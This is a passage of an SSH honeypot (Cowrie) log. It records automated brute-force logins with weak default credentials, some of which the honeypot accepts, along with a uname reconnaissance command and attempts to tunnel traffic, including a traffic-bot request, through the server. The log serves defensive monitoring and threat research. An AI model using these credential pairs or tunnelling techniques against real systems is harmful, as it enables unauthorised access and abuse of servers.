\\xa2\\xba`U~\\xf6\\xdd4\\x9ds\\x80\\xb01N\\x86D\\xb1\\x99c\\x8b\\xb7B3o\\xc8\\x8c\\x81\\xf1m>\\x8f\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbeV\\xf1Y\\x89\\t\\xcc;\\xab\\xffd\\x92=^3\\xc9\\xb76\\x9c#dQ\\x93t\\x86\\x8cb\\xab\\xe7\\x82\\x10\\xfe [1\\xe1\\xc5|\\x92\\x90\\x8e\\x8e\\xc89\\x90t\\xe2]^\\xbe\\xceMQiV\\xaa\\x0b\\xe4\\xb5\\xe2\\xdbQ\\x9b\\xee\\xb3\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2\\xba`U~\\xf6\\xdd4\\x9ds\\x80\\xb01N\\x86D\\xb1\\x99c\\x8b\\xb7B3o\\xc8\\x8c\\x81\\xf1m>\\x8f\\r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:13.598625Z","src_ip":"173.208.188.210","session":"8fcda4f697b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:14.394062Z","src_ip":"45.153.34.195","session":"776feab47f3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26810,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff4e6619d42","protocol":"ssh","message":"New connection: 91.92.40.36:26810 (10.17.0.5:22) [session: aff4e6619d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:15.910821Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28704,"dst_ip":"10.17.0.5","dst_port":22,"session":"0da71c4dd558","protocol":"ssh","message":"New connection: 45.153.34.195:28704 (10.17.0.5:22) [session: 0da71c4dd558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:15.951284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:15.958087Z","src_ip":"45.153.34.195","session":"0da71c4dd558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:16.040212Z","src_ip":"45.153.34.195","session":"0da71c4dd558","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:16.254333Z","src_ip":"91.92.40.36","session":"aff4e6619d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:16.259625Z","src_ip":"91.92.40.36","session":"aff4e6619d42","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"12345","message":"login attempt [steam/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:16.417425Z","src_ip":"45.153.34.195","session":"0da71c4dd558","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:16.645434Z","src_ip":"45.153.34.195","session":"0da71c4dd558","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:16.651231Z","src_ip":"45.153.34.195","session":"0da71c4dd558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54147,"dst_ip":"10.17.0.5","dst_port":22,"session":"a57c3ef9ea3e","protocol":"ssh","message":"New connection: 123.27.168.40:54147 (10.17.0.5:22) [session: a57c3ef9ea3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:16.684246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:16.691547Z","src_ip":"123.27.168.40","session":"a57c3ef9ea3e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:16.746477Z","src_ip":"45.153.34.195","session":"0da71c4dd558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:16.750354Z","src_ip":"45.153.34.195","session":"0da71c4dd558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:17.036230Z","src_ip":"123.27.168.40","session":"a57c3ef9ea3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kiran","password":"kiran","message":"login attempt [kiran/kiran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:18.385034Z","src_ip":"91.92.40.36","session":"aff4e6619d42","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:18.423773Z","src_ip":"123.27.168.40","session":"a57c3ef9ea3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":28728,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b0c4653c49b","protocol":"ssh","message":"New connection: 45.153.34.195:28728 (10.17.0.5:22) [session: 2b0c4653c49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:18.667858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:18.674356Z","src_ip":"45.153.34.195","session":"2b0c4653c49b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:18.808493Z","session":"a57c3ef9ea3e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:18.949002Z","session":"a57c3ef9ea3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:18.958346Z","src_ip":"45.153.34.195","session":"2b0c4653c49b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:19.226473Z","src_ip":"123.27.168.40","session":"a57c3ef9ea3e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JXgwI3pLbkQhaERmMDZNJQ%3D%3Dr2CVFbUpmyLwjGghPA1jc%2Fc3A8Rru2Mbtwuu3LgeE5tBjaS1LCWRItb9GOHyaOH980MgelrsIEx6qS2xGMvGvztqGfvkkilItGYmzjZ%2BmhdwThC4hnPWsXpyqsHcym6Yt2pNn1rv7ss%2BgXZ21ER379z4Vdwv28G9nZL0DPwh0dG%2BIYBsiXFysjAxBvndw2o6l1WQOwHob2uyi9wXqe934RVrleF5w9%2BUZS%2FE4EatblmIAM5hwuf5BzTPiAxdbdgPfCbstwevm6xSECUKUzLD4UuDfGFcCS%2Bf1oSPYnDMxiSYj7uKGx16LzHmVOVr3yWzt%2FTSVa%2Bx5vJ4PQ0qM%2FnkST19moADq%2Bh9MDjNJYmfRP3DdgJetSEx00bYlsY9fk7dd0TGLb%2B4TWbTMccMT6UhYbAmREyEO%2Fp2RDb%2FR40%2FgquVgAVtE1VTeAYgL4JZlQc7IZOaYZnCbw%2FVGeShP8Ukcum5%2FoxTByQ%2BqunWNMsjJWkeKrpvocuD2nEjw6oU8E0bjwZ90BY9qbr2w5M35BtWuCCP9%2BOeOoFGy8%2Fjy%2F8JelMIvoN14JO5sqLy%2F%2BXlcS5tLClBZ5yXz21shK8lasZ1W6X005wUw%2BYHqQSiILIf6mai9TiAbbPKUm%2BTjtVCOMgXUrhxW5BljgKryQ6e%2FIzFnDa0zzcLUyNjvrmT6uLHldQRH4QwHtc%2B7x4ollPD%2Fchi3CJ%2Bku5OMV%2FGIBzC%2BKUYUS1WjRhQP7188EgUSEBWwqvgcWBijgC1PQaM5NqlqnOelkGu0JEDEpK09PUMjLoAsHrZQ7QNUSbAM9oS%2FcdSlkutnAqZb%2BPmx6bu8CXgs9u6BXFYejI8FtjJAeFZNJKr530yjMPE6QRKGQ1aQBsWaQeNdT68nosUR9NybVD7YKpmO70VzEnVTC7pY9RFerdqKfGXaqk5U2rZAJTmmC3oeM2wi3o2fk2Im1ZjmT7oqdqeyqZ0DpLxu0ejJjGlXxGCeGCLiTWIsgL%2BuFSFDqghYPKC1pnonNq1gZjz0gS%2BPJFIoHAi0Q49keaY2BV5gLbofoqhXxaRaJLjgsZOc6AviJo%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=JXgwI3pLbkQhaERmMDZNJQ%3D%3Dr2CVFbUpmyLwjGghPA1jc%2Fc3A8Rru2Mbtwuu3LgeE5tBjaS1LCWRItb9GOHyaOH980MgelrsIEx6qS2xGMvGvztqGfvkkilItGYmzjZ%2BmhdwThC4hnPWsXpyqsHcym6Yt2pNn1rv7ss%2BgXZ21ER379z4Vdwv28G9nZL0DPwh0dG%2BIYBsiXFysjAxBvndw2o6l1WQOwHob2uyi9wXqe934RVrleF5w9%2BUZS%2FE4EatblmIAM5hwuf5BzTPiAxdbdgPfCbstwevm6xSECUKUzLD4UuDfGFcCS%2Bf1oSPYnDMxiSYj7uKGx16LzHmVOVr3yWzt%2FTSVa%2Bx5vJ4PQ0qM%2FnkST19moADq%2Bh9MDjNJYmfRP3DdgJetSEx00bYlsY9fk7dd0TGLb%2B4TWbTMccMT6UhYbAmREyEO%2Fp2RDb%2FR40%2FgquVgAVtE1VTeAYgL4JZlQc7IZOaYZnCbw%2FVGeShP8Ukcum5%2FoxTByQ%2BqunWNMsjJWkeKrpvocuD2nEjw6oU8E0bjwZ90BY9qbr2w5M35BtWuCCP9%2BOeOoFGy8%2Fjy%2F8JelMIvoN14JO5sqLy%2F%2BXlcS5tLClBZ5yXz21shK8lasZ1W6X005wUw%2BYHqQSiILIf6mai9TiAbbPKUm%2BTjtVCOMgXUrhxW5BljgKryQ6e%2FIzFnDa0zzcLUyNjvrmT6uLHldQRH4QwHtc%2B7x4ollPD%2Fchi3CJ%2Bku5OMV%2FGIBzC%2BKUYUS1WjRhQP7188EgUSEBWwqvgcWBijgC1PQaM5NqlqnOelkGu0JEDEpK09PUMjLoAsHrZQ7QNUSbAM9oS%2FcdSlkutnAqZb%2BPmx6bu8CXgs9u6BXFYejI8FtjJAeFZNJKr530yjMPE6QRKGQ1aQBsWaQeNdT68nosUR9NybVD7YKpmO70VzEnVTC7pY9RFerdqKfGXaqk5U2rZAJTmmC3oeM2wi3o2fk2Im1ZjmT7oqdqeyqZ0DpLxu0ejJjGlXxGCeGCLiTWIsgL%2BuFSFDqghYPKC1pnonNq1gZjz0gS%2BPJFIoHAi0Q49keaY2BV5gLbofoqhXxaRaJLjgsZOc6AviJo%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:19.234270Z","src_ip":"123.27.168.40","session":"a57c3ef9ea3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123","message":"login attempt [user/user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:19.345029Z","src_ip":"45.153.34.195","session":"2b0c4653c49b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:45:19.455431Z","src_ip":"123.27.168.40","session":"a57c3ef9ea3e","protocol":"ssh"}
